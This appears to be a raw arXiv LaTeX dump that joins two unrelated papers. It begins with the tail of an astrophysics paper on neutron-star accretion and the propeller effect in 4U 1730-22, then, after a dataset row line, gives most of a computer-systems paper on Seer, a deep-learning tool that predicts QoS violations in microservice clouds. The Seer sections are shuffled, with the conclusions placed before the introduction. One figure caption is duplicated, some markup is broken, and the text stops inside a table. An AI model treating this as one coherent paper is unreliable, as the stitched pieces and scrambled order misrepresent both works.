However, there is still partial material that could be leaked to the NS surface. At end of the outburst, the inner radius of the accretion disk and the radius of the magnetosphere is far from the NS, i.e., the spherical corona scenario.
Particularly, we notice that the two luminosities above are roughly the same as the transition luminosities detected by RXTE in 2004 from 4U~1608--52 \citep{Chen2006}, e.g., $5.3\times10^{36}~{\rm erg}~{\rm s}^{-1}$ and $3.3\times10^{36}~{\rm erg}~{\rm s}^{-1}$.
Considering that the spin periods of the two systems are similar, e.g., the spin period of 4U~1608--52 is 1.16 ms, the behavior of the outburst should resemble each other.
The similar outburst's behavior is reminiscent of the similar thermonuclear bursts' (type I X-ray bursts) behavior of the two systems \citep{Chen2022a,Chen2022b}, e.g., the bright photospheric radius expansion (PRE) bursts show a shortage during the rising PRE phase which could be due to the occlusion by the disk which is close to the NS surface during their high/soft state.
{\bf Moreover, the luminosity gap ratio of `2.4' works only at the aligned case, i.e., aligned magnetic and spin axes, which are both perpendicular to the plane of the disk; a large inclination angle between the NS rotation and magnetic field axes leads to a smaller gap ratio, from a mechanism that has been supported
by theory and simulations several works (e.g., \citealp{2009A&A...493..809B,2015SSRv..191..339R,2018A&A...617A.126B}). In this quasi-magnetospheric accretion scenario, if the matter accumulates around the magnetospheric radius faster than it can be ejected, the episodic or cyclic outbursts could occur \citep{2012MNRAS.420..416D,2014MNRAS.441...86L}. We notice that after this work, 4U~1730--22 started a new outburst in September and October 2022, which implies this source stepped into an active phase and could be related the mass accumulation mentioned above. }
Both for black hole (BH)-LMXBs and NS-LMXBs, around the soft-to-hard state transition, the luminosity shows a fast decay stage, which is the `knee' feature \citep{Powell2007}.
For the NS-LMXBs, it could be related to the propeller effect.
However, for BH-LMXBs, the propeller effect is not expected in absence of magnetic field, another scenario--the thermal disk instability could be related to the `knee' feature, which could be also related to the hard-to-soft transition
\citep{maccarone2003}. In the rising phase of the outburst in 2021 from 4U~1730--22, we notice that at the same luminosity of the soft-to-hard state transition, the transition of the hard-to-soft state did not happen, but could have occurred at a higher luminosity and not observed due to the observation gap, i.e., the hysteresis \citep{Fender2004}.
\citet{maccarone2003} proposed that the transitions between the optically thick and optically thin corona are related to the hard-to-soft and soft-to-hard transitions, and thus the propeller effect is not the sole cause of the state transitions.
The above calculation and estimation are based on the static analysis and do not consider the radial velocity component of the innermost accretion disk, i.e., the inertia of the disk.
In the rising phase of the outburst, the accretion disk has a radial velocity towards the NS and the inflow is easier to overcome the magnetic stress; in contrast, in the decay phase the accretion disk has a radial velocity outwards from the NS and the inflow is harder to overcome the magnetic stress. In other words, the higher inflow rate of the rising phase could fill the luminosity gap caused by the propeller factor more significantly than that of the decay phase.
The thought above is only a qualitative analysis, and a more precise quantitative analysis should be explored further.
Nevertheless, the corona parameters ($\tau$, $kT_{\rm e}$ and $f_{\rm sc}$) change little during the soft-to-hard transition, although the inner part of the corona (from the NS surface to the corotation radius) has been expelled out the system.
This finding implies that the structure and property of the corona have little dependence on the radial distance, and
the whole distributing of the corona is stable in this region.
Since the disk viscous power is a strong function of the radial distance and decays rapidly outwards, this stable corona is against the origin that the corona's power comes from the thermal electrons from the disk's viscous power.
Thus, another origin of the corona--the magnetic field is favored, and it could be the reservoir depositing much more energy than the thermal energy content \citep{Merloni2001}.
In theory, the NS surface temperature is expected to increase as the accretion rate increases.
However, the above results are obtained by the assumption that the NS surface emission has a mild change during the whole outburst.
The small counts of the spectrum prevent us unfixing the NS surface parameters, due to the effective area is not big enough to distinguish the accretion disk and the NS surface emission.
A larger detection area and broadband energy coverage may be satisfied by the next generation of Chinese mission of so-called eXTP (enhanced X-ray Timing and Polarimetry mission) \citep{Zhang2019}.
\acknowledgements
This work made use of the data and software from the Insight-HXMT
mission, a project funded by China National Space Administration
(CNSA) and the Chinese Academy of Sciences (CAS).
This research has made use of data and software provided by of data obtained from the High Energy Astrophysics Science
Archive Research Center (HEASARC), provided by NASA’s
Goddard Space Flight Center.
This work is supported by the National Key R\&D Program of China (2021YFA0718500) and the National Natural Science Foundation of China under grants 11733009, U1838201, U1838202, U1938101, U2038101, 12130342, U1938107.
This work was partially supported by International Partnership Program of Chinese Academy of Sciences (Grant No.113111KYSB20190020).
\bibliographystyle{plainnat}
|
1,477,468,749,985 | arxiv |
\section{Conclusions}
Cloud services increasingly move away from complex monolithic designs,
and adopt the model of specialized, loosely-coupled microservices.
We presented Seer, a data-driven cloud performance debugging system
that leverages practical learning techniques, and the massive amount of tracing
data cloud systems collect to proactively detect and avoid QoS violations.
We have validated Seer's accuracy in controlled environments,
and evaluated its scalability on large-scale clusters on public clouds.
We have also deployed the system in a cluster hosting a social network
with hundreds of users. In all scenarios, Seer accurately detects
upcoming QoS violations, improving responsiveness and performance
predictability. As more services transition to the microservices model,
systems like Seer provide practical solutions that can
navigate the increasing complexity of the cloud.
\section{Large-Scale Cloud Study}
\label{sec:cloud_study}
\subsection{Seer Scalability}
We now deploy our \textit{Social Network} service on a 100-server dedicated cluster on Google Compute Engine (GCE), and use it to service real user traffic.
The application has 582 registered users, with 165 daily active users, and has been deployed for a two-month period. The cluster on average hosts
386 single-concerned containers (one microservice per container), subject to some resource scaling actions by the cluster manager, based on Seer's feedback.
\begin{wrapfigure}[14]{r}{0.28\textwidth}
\centering
\includegraphics[scale=0.29, viewport = 85 0 440 400]{TPU_opt.pdf}
\vspace{-0.08in}
\caption{\label{fig:tpu_brainwave} Seer training and inference with hardware acceleration. }
\end{wrapfigure}
Accuracy remains high for Seer, consistent with the small-scale experiments.
Inference time, however, increases substantially from 11.4ms for the
20-server cluster to 54ms for the 100-server GCE setting.
Even though this is still sufficient for many resource allocation decisions,
as the application scales further, Seer's ability to anticipate a QoS violation
within the cluster manager's window of opportunity diminishes.
Over the past year multiple public cloud providers have exposed hardware acceleration offerings
for {\fontsize{9pt}{10pt}\selectfont DNN} training and inference, either using a special-purpose design like
the Tensor Processing Unit ({\fontsize{9pt}{10pt}\selectfont TPU}) from Google~\cite{tpu}, or using
reconfigurable {\fontsize{9pt}{10pt}\selectfont FPGA}s, like Project Brainwave from Microsoft~\cite{brainwave}.
We offload Seer's {\fontsize{9pt}{10pt}\selectfont DNN} logic to both systems, and quantify the impact on training and inference time,
and detection accuracy~\footnote{Before running on TPUs, we reimplemented our DNN in Tensorflow. We similarly adjust the DNN to
the currently-supported designs in Brainwave. }. Fig.~\ref{fig:tpu_brainwave} shows this comparison
for a 200GB training dataset. Both the {\fontsize{9pt}{10pt}\selectfont TPU} and Project Brainwave dramatically
outperform our local implementation, by up to two orders of magnitude. Between the two
accelerators, the {\fontsize{9pt}{10pt}\selectfont TPU} is more effective in training, consistent
with its design objective~\cite{tpu}, while Project Brainwave achieves faster inference.
For the remainder of the paper, we run Seer on {\fontsize{9pt}{10pt}\selectfont TPU}s, and host the \textit{Social Network} service on {\fontsize{9pt}{10pt}\selectfont GCE}.
\begin{figure}
\centering
\includegraphics[scale=0.26, viewport = 185 10 730 420]{Cuprit_opt.pdf}
\caption{\label{fig:culprit} QoS violations each microservice in \textit{Social Network} is responsible for. }
\end{figure}
\subsection{Source of QoS Violations}
We now examine which microservice is the most common culprit for a QoS violation. Fig.~\ref{fig:culprit} shows the number of QoS violations caused by each service over the two-month period. The
most frequent culprits by far are the in-memory caching tiers in {\fontsize{9pt}{10pt}\selectfont\texttt{memcached}}, and Thrift services with high request fanout, such as {\fontsize{9pt}{10pt}\selectfont\texttt{composePost}},
{\fontsize{9pt}{10pt}\selectfont\texttt{readPost}}, and {\fontsize{9pt}{10pt}\selectfont\texttt{login}}. {\fontsize{9pt}{10pt}\selectfont\texttt{memcached}} is a justified source of QoS violations, since it is on the critical path for almost all query types,
and it is additionally very sensitive to resource contention in compute and to a lesser degree cache and memory. Microservices with high fanout are also expected to initiate QoS violations,
as they have to synchronize multiple inbound requests before proceeding. If processing for any incoming requests is delayed, end-to-end performance is likely to suffer.
Among these QoS violations, most of {\fontsize{9pt}{10pt}\selectfont{\texttt{memcached}}}'s violations were caused by resource contention, while violations in Thrift services were caused by long synchronization times.
\subsection{Seer's Long-Term Impact on Application Design}
Seer has now been deployed in the \textit{Social Network} cluster for over two months,
and in this time it has detected 536 upcoming QoS violations (90.6\% accuracy) and avoided 495 (84\%) of them.
Furthermore, by detecting recurring patterns that lead to QoS violations,
Seer has helped the application developers better understand bugs and design decisions
that lead to hotspots, such as microservices with a lot of back-and-forth communication
between them, or microservices forming cyclic dependencies, or using blocking primitives.
This has led to a decreasing number of QoS violations over the two month period (seen in
Fig.~\ref{fig:errors_time}), as the application progressively improves. In days 22 and 23
there was a cluster outage, which is why the reported violations are zero. Systems like
Seer can be used not only to improve performance predictability in complex cloud systems,
but to help users better understand the design challenges of microservices,
as more services transition to this application model.
\begin{figure}
\centering
\includegraphics[scale=0.28, viewport = 185 20 730 360]{ErrorTime_opt.pdf}
\caption{\label{fig:errors_time} QoS violations each microservice in \textit{Social Network} is responsible for. }
\end{figure}
\begin{comment}
\vspace{-0.10in}
\section{Discussion}
\label{sec:limitations}
Seer is currently used by several groups at Cornell and elsewhere. Nonetheless, the present design has a number of limitations, which
we are currently addressing. First, because the number of input and output neurons in Seer is equal to the number of active microservices, the system
needs to be retrained if techniques like autoscale which spawn additional containers, or terminate existing containers are present. The same applies when the
architecture of the end-to-end application changes, e.g., when more applications are decomposed to microservices, or new features are added to the service.
Currently we use a \textit{shadow} DNN, retrained in the background to adjust to changes in the application architecture. While retraining happens,
Seer uses the primary network to anticipate QoS violations, which may lead to undetected unpredictable performance. We are exploring more practical ways to make
the network robust to application changes.
Second, Seer currently assumes no knowledge about the structure of the end-to-end service. We are exploring whether users expressing the application architecture, or
the system learning it via the tracing system can improve the accuracy and/or scalability of Seer.
Third, Seer assumes full control over the cluster, or at least over individual servers, such that it can collect traces from all active
microservices. This may not always be the case, especially in public clouds, or when using third-party applications that cannot easily
be instrumented. We are extending the system design to tolerate missing or noisy tracing information.
Finally, even though Seer is able to avert the majority of QoS violations, there are still some events that are not predicted early enough for corrective actions to take place.
These typically involve memory-bound microservices, where the memory subsystem is saturated. Memory, like any storage medium, has inertia, so resource adjustment decisions
require more time to take effect. We are exploring whether predicting further into the future is possible without significantly increasing the number of false positives, or
whether alternative resource isolation mechanisms like cache partitioning can help alleviate memory pressure faster.
\vspace{-0.08in}
\end{comment}
\section{Introduction}
Cloud computing services are governed by strict quality of service (QoS) constraints
in terms of throughput, and more critically tail latency~\cite{BarrosoBook,tailatscale,Delimitrou13,Delimitrou14}. Violating
these requirements worsens the end user experience, leads to loss of availability and
reliability, and has severe revenue implications~\cite{BarrosoBook, Barroso11, tailatscale,Delimitrou16,Delimitrou17,Delimitrou13d}.
In an effort to meet these performance constraints and facilitate frequent application updates, cloud services have recently undergone
a major shift from complex monolithic designs, which encompass the entire functionality in a single binary,
to graphs of hundreds of loosely-coupled, single-concerned microservices~\cite{Cockroft16,Gan19}.
Microservices are appealing for several reasons, including accelerating development and deployment, simplifying correctness
debugging, as errors can be isolated in specific tiers, and enabling a rich software ecosystem, as each microservice is written
in the language or programming framework that best suits its needs.
At the same time microservices signal a fundamental departure from the way traditional cloud applications were designed, and bring with them
several system challenges. Specifically, even though the quality-of-service (QoS) requirements of the end-to-end application are similar for microservices
and monoliths, the tail latency required for each individual microservice is much stricter than for traditional cloud applications~\cite{Meisner11,Lo14,Lo15,Delimitrou14,GoogleTrace,agile,Mars13b,Gan18,Gan18b,Gan19}.
This puts increased pressure on delivering predictable performance, as dependencies between microservices mean that a single misbehaving microservice
can cause cascading QoS violations across the system.
Fig.~\ref{fig:deathstars} shows three instances of real large-scale production deployments of microservices~\cite{Cockroft15,Cockroft16,twitter_decomposing}.
The perimeter of the circle (or sphere surface) shows
the different microservices, and edges show dependencies between them. We also show these dependencies for \textit{Social Network}, one of the large-scale services
used in the evaluation of this work (see Sec.~\ref{sec:methodology}).
Unfortunately the complexity of modern cloud services means that manually determining the impact of each pair-wide dependency on end-to-end QoS, or relying on the user to provide this information is impractical.
Apart from software heterogeneity, datacenter hardware is also becoming increasingly heterogeneous as
special-purpose architectures~\cite{tpu,diannao,shidiannao,diannao_family,dadiannao}
and FPGAs are used to accelerate critical operations~\cite{catapult,catapult2,brainwave,firestone18}. This adds to the existing server heterogeneity in the cloud
where servers are progressively replaced and upgraded over the datacenter's provisioned
lifetime~\cite{Mars13a,mars11b,Delimitrou13,Delimitrou14b,Nathuji07}, and further complicates the effort to guarantee
predictable performance.
\begin{wrapfigure}[17]{r}{0.245\textwidth}
\vspace{-0.2in}
\centering
\includegraphics[scale=0.344, trim=1.6cm 1.8cm 5.6cm 5.8cm, clip=true]{microservices_graphs_opt.pdf}
\caption{{\bf{\label{fig:deathstars}}} {Microservices graphs in three large
cloud providers~\cite{Cockroft15,Cockroft16,twitter_decomposing}, and our \texttt{Social Network} service. }}
\end{wrapfigure}
The need for performance predictability has prompted a long line of work on performance tracing, monitoring, and debugging systems~\cite{dapper,gwp,MysteryMachine,xtrace,cloudseer,Xu16,nsdi18}.
Systems like Dapper and {\fontsize{9pt}{10pt}\selectfont GWP}, for example, rely on distributed tracing (often at {\fontsize{9pt}{10pt}\selectfont RPC} level) and low-level hardware event monitoring respectively to detect performance abnormalities,
while the Mystery Machine~\cite{MysteryMachine} leverages the large amount of logged data
to extract the causal relationships between requests.
\begin{figure}
\centering
\begin{tabular}{ccc}
\includegraphics[scale=0.20, viewport=140 10 300 65]{MotivationLegend_opt.pdf} & & \\
\includegraphics[scale=0.165, viewport=80 0 400 440]{MotivationLatencySeer_opt.pdf} &
\includegraphics[scale=0.165, viewport=20 0 440 440]{CascadingSmall3_opt.pdf} &
\includegraphics[scale=0.165, viewport=-20 0 400 440]{CascadingSmallLatency_opt.pdf}
\end{tabular}
\caption{\label{fig:motivation} {The performance impact of a posteriori performance diagnostics for a monolith and for microservices. }}
\end{figure}
Even though such tracing systems help cloud providers detect QoS violations and
apply corrective actions to restore performance, until those actions take effect, performance suffers.
For monolithic services this primarily affects the service experiencing the QoS violation itself,
and potentially services it is sharing physical resources with.
With microservices, however, a posteriori QoS violation detection is more impactful,
as hotspots propagate and amplify across dependent services,
forcing the system to operate in a degraded state for longer, until all oversubscribed tiers
have been relieved, and all accumulated queues have drained.
Fig.~\ref{fig:motivation}a shows the impact of reacting to a QoS violation after it occurs
for the \textit{Social Network} application with several hundred users running on 20 two-socket, high-end servers.
Even though the scheduler scales out all oversubscribed tiers once the violation occurs,
it takes several seconds for the service to return to nominal operation. There are two reasons for this;
first, by the time one tier has been upsized, its neighboring tiers have built up request backlogs, which cause them to saturate in turn.
Second, utilization is not always a good proxy for tail latency and/or
QoS violations~\cite{Lo14,Lo15,BarrosoBook,tailatscale,Ousterhout13}. Fig.~\ref{fig:motivation}b shows the utilization
of all microservices ordered from the back-end to the front-end over time,
and Fig.~\ref{fig:motivation}c shows their corresponding 99$^{th}$ percentile
latencies normalized to nominal operation.
Although there are cases where high utilization and high latency match,
the effect of hotspots propagating through the service is much more pronounced when looking at latencies,
with the back-end tiers progressively saturating the service's logic and front-end microservices.
In contrast, there are highly-utilized microservices that do not experience increases in their tail latency.
A common way to address such QoS violations is rate limiting~\cite{Suresh17},
which constrains the incoming load, until hotspots dissipate. This restores performance, but degrades the end user's experience, as a fraction of input requests is dropped.
We present \textit{Seer}, a proactive cloud performance debugging system that leverages practical deep learning techniques
to diagnose upcoming QoS violations in a scalable and online manner. First, Seer is proactive to avoid the long recovery periods of
a posteriori QoS violation detection. Second, it uses the massive amount of tracing data cloud systems collect over time to learn
spatial and temporal patterns that lead to QoS violations early enough to avoid them altogether. Seer includes a lightweight,
distributed {\fontsize{9pt}{10pt}\selectfont RPC}-level tracing system, based on Apache Thrift's timing interface~\cite{thrift}, to collect end-to-end traces of request execution,
and track per-microservice outstanding requests.
Seer uses these traces to train a deep neural network to recognize imminent QoS violations,
and identify the microservice(s) that initiated the performance degradation.
Once Seer identifies the culprit of a QoS violation that will occur over the next few 100s of milliseconds, it uses detailed per-node hardware monitoring
to determine the reason behind the degraded performance, and provide the cluster scheduler
with recommendations on actions required to avoid it.
We evaluate Seer both in our local cluster of 20 two-socket servers, and on large-scale clusters on Google Compute Engine (GCE) with a set
of end-to-end interactive applications built with microservices, including the \textit{Social Network} above.
In our local cluster, Seer correctly identifies upcoming QoS violations in 93\% of cases,
and correctly pinpoints the microservice initiating the violation 89\% of the time. To combat long inference times as clusters scale,
we offload the {\fontsize{9pt}{10pt}\selectfont DNN} training and inference to Google's Tensor Processing Units ({\fontsize{9pt}{10pt}\selectfont TPU}s) when running on {\fontsize{9pt}{10pt}\selectfont GCE}~\cite{tpu}. We additionally experiment with
using {\fontsize{9pt}{10pt}\selectfont FPGA}s in Seer via Project Brainwave~\cite{brainwave} when running on Windows Azure, and show that both types of acceleration speed up Seer by 200-235x,
with the {\fontsize{9pt}{10pt}\selectfont TPU} helping the most during training, and vice versa for inference. Accuracy is consistent with the small cluster results.
Finally, we deploy Seer in a large-scale installation of the \textit{Social Network} service with several hundred users, and show that it not only
correctly identifies 90.6\% of upcoming QoS violations and avoids 84\% of them, but that detecting patterns that create hotspots helps the application's
developers improve the service design, resulting in a decreasing number of QoS violations over time. As cloud application and hardware complexity continues
to grow, data-driven systems like Seer can offer practical solutions for systems whose scale make empirical approaches intractable.
\section{End-to-End Applications with Microservices}
\label{sec:methodology}
We motivate and evaluate Seer with a set of new end-to-end, interactive services built with microservices. Even though there are open-source
microservices that can serve as components of a larger application, such as {\fontsize{9pt}{10pt}\selectfont\texttt{nginx}}~\cite{nginx}, {\fontsize{9pt}{10pt}\selectfont\texttt{memcached}}~\cite{memcached},
{\fontsize{9pt}{10pt}\selectfont\texttt{MongoDB}}~\cite{mongodb}, {\fontsize{9pt}{10pt}\selectfont\texttt{Xapian}}~\cite{Kasture16}, and
{\fontsize{9pt}{10pt}\selectfont\texttt{RabbitMQ}}~\cite{rabbitmq}, there are currently no publicly-available end-to-end microservices applications,
with the exception of a few simple architectures, like Go-microservices~\cite{gomicroservices}, and Sockshop~\cite{sockshop}. We design four end-to-end services implementing
a \textit{Social Network}, a \textit{Media Service}, an \textit{E-commerce Site}, and a \textit{Banking System}. Starting from the Go-microservices architecture~\cite{gomicroservices}, we also
develop an end-to-end \textit{Hotel Reservation} system. Services are designed to be representative of frameworks used in production systems, modular, and easily reconfigurable.
The end-to-end applications and tracing infrastructure are described in more detail and open-sourced in~\cite{Gan19}.
Table~\ref{loc_stats} briefly shows the characteristics of each end-to-end application,
including its communication protocol, the number of unique microservices it includes, and its
breakdown by programming language and framework.
Unless otherwise noted, all microservices are deployed in Docker containers.
Below, we briefly describe the scope and functionality of each service.
\subsection{Social Network}
\noindent{\bf{Scope: }} The end-to-end service implements a broadcast-style social network with uni-directional follow relationships.
\vspace{0.06in}
\noindent{\bf{Functionality: }}Fig.~\ref{fig:social} shows the architecture of the end-to-end service.
Users ({\fontsize{9pt}{10pt}\selectfont{\texttt{client}}})
send requests over {\fontsize{9pt}{10pt}\selectfont\texttt{http}}, which first reach a load balancer, implemented with {\fontsize{9pt}{10pt}\selectfont\texttt{nginx}}, which selects a specific webserver is selected, also in
{\fontsize{9pt}{10pt}\selectfont\texttt{nginx}}.
Users can create posts embedded with text, media, links, and tags to other users, which are then broadcasted to all their followers.
Users can also read, favorite, and repost posts, as well as reply publicly, or send a direct message to another user. The application also includes
machine learning plugins, such as ads and user recommender engines~\cite{Bottou,Netflix03,Witten,Kiwiel}, a search service using {\fontsize{9pt}{10pt}\selectfont\texttt{Xapian}}~\cite{Kasture16},
and microservices that allow users to follow, unfollow, or block other accounts. Inter-microservice messages use Apache Thrift RPCs~\cite{thrift}.
The service's backend uses {\fontsize{9pt}{10pt}\selectfont\texttt{memcached}} for caching, and {\fontsize{9pt}{10pt}\selectfont\texttt{MongoDB}} for persistently storing posts, user profiles,
media, and user recommendations.
This service is broadly deployed at Cornell and elsewhere, and currently has several hundred users. We use this installation
to test the effectiveness and scalability of Seer in Section~\ref{sec:cloud_study}.
\begin{figure
\centering
\includegraphics[scale=0.352, viewport=40 0 700 440]{ecommerce_final12_opt.pdf}
\caption{\label{fig:ecommerce} {The architecture of the end-to-end \textit{E-commerce} application implementing an online clothing store. }}
\end{figure}
\subsection{Media Service}
\noindent{\bf{Scope: }} The application implements an end-to-end service for browsing movie information, as well as reviewing, rating, renting, and streaming movies~\cite{Cockroft15,Cockroft16}.
\vspace{0.06in}
\noindent{\bf{Functionality: }}
As with the social network, a client request hits the load balancer which distributes requests among multiple {\fontsize{9pt}{10pt}\selectfont\texttt{nginx}} webservers.
The front-end is similar to \textit{Social Network}, and users can search and browse information about movies,
including the plot, photos, videos, and review information, as well as insert a review for a specific movie by logging in to their account.
Users can also select to rent a movie, which involves a payment authentication module to verify the user has enough funds, and
a video streaming module using {\fontsize{9pt}{10pt}\selectfont\texttt{nginx-hls}}, a production {\fontsize{9pt}{10pt}\selectfont\texttt{nginx}} module for HTTP live streaming.
Movie files are stored in NFS, to avoid the latency and complexity of accessing chunked records from non-relational databases,
while reviews are held in {\fontsize{9pt}{10pt}\selectfont\texttt{memcached}} and {\fontsize{9pt}{10pt}\selectfont\texttt{MongoDB}} instances. Movie information is maintained in a sharded and replicated MySQL DB.
We are similarly deploying \textit{Media Service} as a hosting site for project demos at Cornell, which students can browse and review.
\subsection{E-Commerce Service}
\noindent{\bf{Scope: }}The service implements an e-commerce site for clothing.
The design draws inspiration, and uses several components of the open-source Sockshop application~\cite{sockshop}.
\vspace{0.06in}
\noindent{\bf{Functionality: }}The application front-end here is a {\fontsize{9pt}{10pt}\selectfont\texttt{node.js}} service.
Clients can use the service to browse the inventory using {\fontsize{9pt}{10pt}\selectfont\texttt{catalogue}}, a Go microservice that mines the back-end
{\fontsize{9pt}{10pt}\selectfont\texttt{memcached}} and {\fontsize{9pt}{10pt}\selectfont\texttt{MongoDB}} instances holding information about products. Users can also place {\fontsize{9pt}{10pt}\selectfont\texttt{orders}} (Go)
by adding items to their {\fontsize{9pt}{10pt}\selectfont\texttt{cart}} (Java).
After they {\fontsize{9pt}{10pt}\selectfont\texttt{log in}} (Go) to their account, they can select {\fontsize{9pt}{10pt}\selectfont\texttt{shipping}} options (Java), process their {\fontsize{9pt}{10pt}\selectfont\texttt{payment}} (Go),
and obtain an {\fontsize{9pt}{10pt}\selectfont\texttt{invoice}} (Java) for their order. Orders are serialized and committed using {\fontsize{9pt}{10pt}\selectfont\texttt{QueueMaster}} (Go). Finally, the service includes
a {\fontsize{9pt}{10pt}\selectfont\texttt{recommender}} engine (C++), and microservices for creating {\fontsize{9pt}{10pt}\selectfont \texttt{wishlists}} (Java).
\subsection{Banking System}
\noindent{\bf{Scope: }}The service implements a secure banking system, supporting payments, loans, and credit card management.
\vspace{0.06in}
\noindent{\bf{Functionality: }}Users interface with a {\fontsize{9pt}{10pt}\selectfont\texttt{node.js}} front-end, similar to \textit{E-commerce}, to login to their account, search
information about the bank, or contact a representative. Once logged in, a user can process a payment from their account, pay their credit card or request a new one,
request a loan, and obtain information about wealth management options. Most microservices are written in Java and Javascript. The back-end databases
are {\fontsize{9pt}{10pt}\selectfont\texttt{memcached}} and {\fontsize{9pt}{10pt}\selectfont\texttt{MongoDB}} instances. The service also has a relational database ({\fontsize{9pt}{10pt}\selectfont\texttt{BankInfoDB}}) that includes information about
the bank, its services, and representatives.
\subsection{Hotel Reservation Site}
\noindent{\bf{Scope: }}The service is an online hotel reservation site for browsing information about hotels, and making reservations.
\vspace{0.06in}
\noindent{\bf{Functionality: }}The service is based on the Go-microservices open-source project~\cite{gomicroservices}, augmented with backend databases, and machine learning widgets for
advertisement and hotel recommendations. A client request is first directed to one of the front-end webservers in node.js by a load balancer. The front-end then interfaces with
the search engine, which allows users to explore hotel availability in a given region, and place a reservation. The service back-end consists of {\fontsize{9pt}{10pt}\selectfont\texttt{memcached}}
and {\fontsize{9pt}{10pt}\selectfont\texttt{MongoDB}} instances.
\section{Seer Design}
\label{sec:design}
\begin{figure}
\centering
\includegraphics[scale=0.398, trim=0cm 0.2cm 0.4cm 8cm,clip=true]{seer_overview6_opt.pdf}
\caption{\label{fig:seer_overview} {Overview of \textit{Seer}'s operation. }}
\end{figure}
\subsection{Overview}
\label{sec:overview}
Fig.~\ref{fig:seer_overview} shows the high-level architecture of the system.
Seer is an online performance debugging system for cloud systems hosting interactive, latency-critical services. Even though we are focusing our analysis on microservices,
where the impact of QoS violations is more severe, Seer is also applicable to general cloud services, and traditional multi-tier or Service-Oriented Architecture (SOA) workloads.
Seer uses two levels of tracing, shown in Fig.~\ref{fig:seer_levels}.
\begin{wrapfigure}[12]{l}{0.24\textwidth}
\vspace{-0.1in}
\centering
\includegraphics[scale=0.378, trim=0cm 0cm 4.4cm 9.8cm,clip=true]{seer_two_levels2_opt.pdf}
\vspace{-0.20in}
\caption{\label{fig:seer_levels} {The two levels of tracing used in Seer. }}
\end{wrapfigure}
First, it uses a lightweight, distributed {\fontsize{9pt}{10pt}\selectfont RPC}-level tracing system, described in Sec.~\ref{sec:tracing}, which collects end-to-end execution
traces for each user request, including per-tier latency and outstanding requests, associates {\fontsize{9pt}{10pt}\selectfont RPC}s belonging to the same end-to-end request, and aggregates them to a centralized Cassandra
database (TraceDB). From there traces are used to train Seer to recognize patterns in space (between microservices) and time that
lead to QoS violations. At runtime, Seer consumes real-time streaming traces to infer whether there is an imminent QoS violation.
When a QoS violation is expected to occur and a culprit microservice has been located, Seer uses its lower tracing level,
which consists of detailed per-node, low-level hardware monitoring primitives, such as performance counters,
to identify the reason behind the QoS violation. It also uses this information to provide the cluster manager with
recommendations on how to avoid the performance degradation altogether. When Seer runs on a public cloud where
performance counters are disabled, it uses a set of tunable microbenchmarks to determine the source of unpredictable performance (see Sec.~\ref{sec:per_node}).
Using two specialized tracing levels instead of collecting detailed low-level traces for all active microservices
ensures that the distributed tracing is lightweight enough to track all active requests and services in the system, and that detailed
low-level hardware tracing is only used on-demand, for microservices likely to cause performance disruptions.
In the following sections we describe the design of the tracing system, the learning techniques in Seer and its
low-level diagnostic framework, and the system insights we can draw from Seer's decisions to improve cloud application design.
\subsection{Distributed Tracing}
\label{sec:tracing}
A major challenge with microservices is that one cannot simply rely on the client to report performance, as with traditional client-server applications.
We have developed a distributed tracing system for Seer, similar in design to Dapper~\cite{dapper} and Zipkin~\cite{zipkin}
that records per-microservice latencies,
using the Thrift timing interface, as shown in Fig.~\ref{fig:seer_instrumentation}.
We additionally track the number of requests queued in each microservice (\textit{outstanding requests}), since queue lengths
are highly correlated with performance and QoS violations~\cite{ubik,queueing,nsdi18,Yu11}.
In all cases, the overhead from tracing without request sampling is negligible, less than $0.1\%$ on end-to-end latency, and less than $0.15\%$ on throughput (QPS), which is tolerable for such systems~\cite{dapper,MysteryMachine,gwp}.
Traces from all microservices are aggregated in a centralized database~\cite{cassandra}.
\begin{figure}
\centering
\includegraphics[scale=0.48, trim=-0.5cm 0 0.6cm 3.8cm, clip=true]{seer_instrumentation7_opt.pdf}
\caption{\label{fig:seer_instrumentation} {Distributed tracing and instrumentation in Seer. }}
\end{figure}
\vspace{0.06in}
\noindent{\bf{Instrumentation: }}The tracing system requires two types of application instrumentation.
First, to distinguish between the time spent
processing network requests, and the time that goes towards application computation,
we instrument the application to report the time it sees a new request (post-{\fontsize{9pt}{10pt}\selectfont RPC} processing).
We similarly instrument the transmit side of the application. Second, systems have multiple sources of queueing
in both hardware and software. To obtain accurate measurements of queue lengths per microservice, we need
to account for these different queues. Fig.~\ref{fig:seer_instrumentation} shows an example of Seer's
instrumentation for memcached. Memcached includes five main stages~\cite{Leverich14},
{\fontsize{9pt}{10pt}\selectfont TCP/IP} receive, \texttt{epoll}/\texttt{libevent},
reading the request from the socket, processing the request, and responding over {\fontsize{9pt}{10pt}\selectfont TCP/IP},
either with the \texttt{<k,v>} pair for a read, or with an \texttt{ack} for a write.
Each of these stages includes a hardware ({\fontsize{9pt}{10pt}\selectfont NIC}) or software (\texttt{epoll},\texttt{socket read},\texttt{memcached proc}) queue.
For the {\fontsize{9pt}{10pt}\selectfont NIC} queues, Seer filters packets based on the destination microservice, but accounts for
the aggregate queue length if hardware queues are shared, since that will impact how fast a microservice's packets get processed.
For the software queues, Seer inserts probes in the application to read the number of queued requests in each case.
\vspace{0.06in}
\noindent{\bf{Limited instrumentation: }}As seen above, accounting for all sources of queueing in a complex system requires non-trivial instrumentation.
This can become cumbersome if users leverage third-party applications in their services,
or in the case of public cloud providers which do not have access to the source code
of externally-submitted applications for instrumentation.
In these cases Seer relies on the requests queued exclusively in the {\fontsize{9pt}{10pt}\selectfont NIC} to signal upcoming QoS violations.
In Section~\ref{sec:validation} we compare the accuracy of the full versus limited instrumentation, and see that using network queue depths alone is enough
to signal a large fraction of QoS violations, although smaller than when the full instrumentation is available. Exclusively polling
{\fontsize{9pt}{10pt}\selectfont NIC} queues identifies hotspots caused by routing, incast, failures, and resource saturation,
but misses QoS violations that are caused by performance and
efficiency bugs in the application implementation, such as blocking behavior between microservices.
Signaling such bugs helps developers better understand the microservices model,
and results in better application design.
\vspace{0.06in}
\noindent{\bf{Inferring queue lengths: }}
Additionally, there has been recent work on using deep learning to reverse engineer the number of queued requests
in switches across a large network topology~\cite{nsdi18}, when tracing
information is incomplete. Such techniques are also applicable and beneficial for Seer when the default level of
instrumentation is not available.
\begin{table}
\fontsize{8pt}{10pt}\selectfont
\begin{tabular}{cp{0.4cm}p{0.27cm}p{0.3cm}p{0.3cm}p{0.3cm}ccp{0.4cm}}
\hline
\multirow{2}{*}{Name} & \multirow{2}{*}{LoC} & \multicolumn{4}{c}{Layers} & {Nonlinear} & \multirow{2}{*}{Weights} & {Batch} \\
\cline{3-6}
& & FC & \multicolumn{1}{c}{Conv} & Vect & Total & Function & & Size \\
\hline
